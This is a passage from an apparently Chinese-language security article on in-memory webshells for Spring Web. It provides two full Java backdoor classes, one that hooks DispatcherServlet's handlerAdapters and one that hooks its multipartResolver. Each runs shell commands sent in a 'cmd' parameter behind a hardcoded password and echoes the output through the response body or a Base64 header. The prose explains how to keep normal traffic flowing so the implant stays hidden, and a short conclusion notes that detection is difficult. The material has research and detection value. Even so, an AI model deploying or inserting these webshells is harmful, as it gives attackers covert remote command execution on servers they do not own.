`public class HandlerAdapterShell implements HandlerAdapter{``   `    `List<HandlerAdapter> handlerAdapters;``   `    `public String injectShell() throws Exception{`        `DispatcherServlet servlet = new Util().getServlet();`        `List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");`        `handlerAdapters.add(0,new HandlerAdapterShell(handlerAdapters));``   `        `return "{\"result\":\"HandlerAdapterShell\"}";`    `}``   `    `public HandlerAdapterShell(List<HandlerAdapter> handlerAdapters){`        `this.handlerAdapters = handlerAdapters;`    `}``   `    `@Override`    `public boolean supports(Object handler) {`        `return true;`    `}``   `    `@Override`    `public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {`        `String passwd = request.getParameter("mypasswd");`        `String cmd = request.getParameter("cmd");`        `if (passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){`            `boolean islinux = true;`            `String osType = System.getProperty("os.name");`            `if (osType !=null && osType.toLowerCase().contains("win")){`                `islinux = false;`            `}`            `String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};`            `InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();`            `Scanner s = new Scanner(in).useDelimiter("\\A");`            `String output = s.hasNext() ? s.next() : "";`            `response.getWriter().write(output);`            `response.getWriter().flush();`            `response.getWriter().close();`            `return null;`        `}`        `// 重新找到适配的handlerAdpapter，相当于做了一层代理`        `for(HandlerAdapter handlerAdapter:this.handlerAdapters){`            `if(!(handlerAdapter instanceof HandlerAdapterShell) && handlerAdapter.supports(handler)){`                `return handlerAdapter.handle(request,response,handler);`            `}`        `}``   `        `return null;`    `}``   `    `@Override`    `public long getLastModified(HttpServletRequest request, Object handler) {`        `for(HandlerAdapter handlerAdapter:this.handlerAdapters){`            `if(!(handlerAdapter instanceof HandlerAdapterShell) && handlerAdapter.supports(handler)){`                `return handlerAdapter.getLastModified(request,handler);`            `}`        `}`        `return 0;`    `}``}``   `

3.4 修改路由处理过程的其他属性

前面两大类实现SpringWeb内存马的方式，都是针对Spring路由处理过程中涉及到的重要类对象，实际上要注入内存马，有三个重要的前提：

能拿到输入，也就是要能拿到request对象
能够将执行结果回显，理论上是要拿到response对象，但需要处理一些小细节，例如拿到response对象过早，则写入响应体，很可能会被后面覆盖。
不能影响正常业务的处理过程。

我们知道，在SpringWeb中，可以通过RequestContextHolder直接拿到当前的request和response。

`HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();``HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();`

因此两个前提在Spring是天然满足的，只要能够hook路由处理上的某些方法即可，只不过需要关心一些回显的一些细节。

3.4.1 hook DispatcherServlet.MultipartResolver

观察DispatcherServlet的doDispatch方法，在一开始会有一段判断是否为Multipart请求的过程。

继续跟进会发现会涉及multipartResolver来处理request。

因此，也可以通过hook DispatcherServlet的multipartResolver属性，来达到内存马的目的。不过不能在multipartResolver直接终止后续的过程返回，因此这里选择了将结果写到响应头，避免直接写到响应体被覆盖。

`public class MultipartResolverDelegateShell  implements MultipartResolver{``   `    `private MultipartResolver resolverDelegate;``   `    `public String injectShell() throws Exception{`        `DispatcherServlet servlet = new Util().getServlet();`        `Field field = Util.getField(DispatcherServlet.class,"multipartResolver");`        `MultipartResolver multipartResolver = (MultipartResolver) field.get(servlet);`        `MultipartResolverDelegateShell multipartResolverDelegateShell = new MultipartResolverDelegateShell(multipartResolver);`        `field.set(servlet,multipartResolverDelegateShell);`        `return "{\"\result\":\"injectMultipartResolverDelegateShell\"}";`    `}``   `    `public MultipartResolverDelegateShell(){`    `}``   `    `public MultipartResolverDelegateShell(MultipartResolver resolverDelegate){`        `this.resolverDelegate = resolverDelegate;`    `}``   `    `@Override`    `public boolean isMultipart(HttpServletRequest request) {`        `String passwd = request.getParameter("mypasswd");`        `String cmd = request.getParameter("cmd");`        `if (passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){`            `try {`                `HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();`                `boolean islinux = true;`                `String osType = System.getProperty("os.name");`                `if (osType !=null && osType.toLowerCase().contains("win")){`                    `islinux = false;`                `}`                `String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};`                `InputStream in = null;`                `in = Runtime.getRuntime().exec(cmds).getInputStream();`                `Scanner s = new Scanner(in).useDelimiter("\\A");`                `String output = s.hasNext() ? s.next() : "";`                `response.setHeader("result",new String(Base64.getEncoder().encode(output.getBytes())));`            `} catch (IOException e) {`                `throw new RuntimeException(e);`            `}`        `}`        `if(this.resolverDelegate != null){`            `return this.resolverDelegate.isMultipart(request);`        `}`        `return false;`    `}``   `    `@Override`    `public MultipartHttpServletRequest resolveMultipart(HttpServletRequest request) throws MultipartException {`        `if(this.resolverDelegate != null){`            `return this.resolverDelegate.resolveMultipart(request);`        `}`        `return null;`    `}``   `    `@Override`    `public void cleanupMultipart(MultipartHttpServletRequest request) {`        `if(this.resolverDelegate != null){`            `this.resolverDelegate.cleanupMultipart(request);`        `}`    `}``}`

===

四、总结

Spring内存马的变化形式非常多，不能单纯依赖从某个HandlerMapping取出对象来判断，也不能依靠对象类型来进行判断。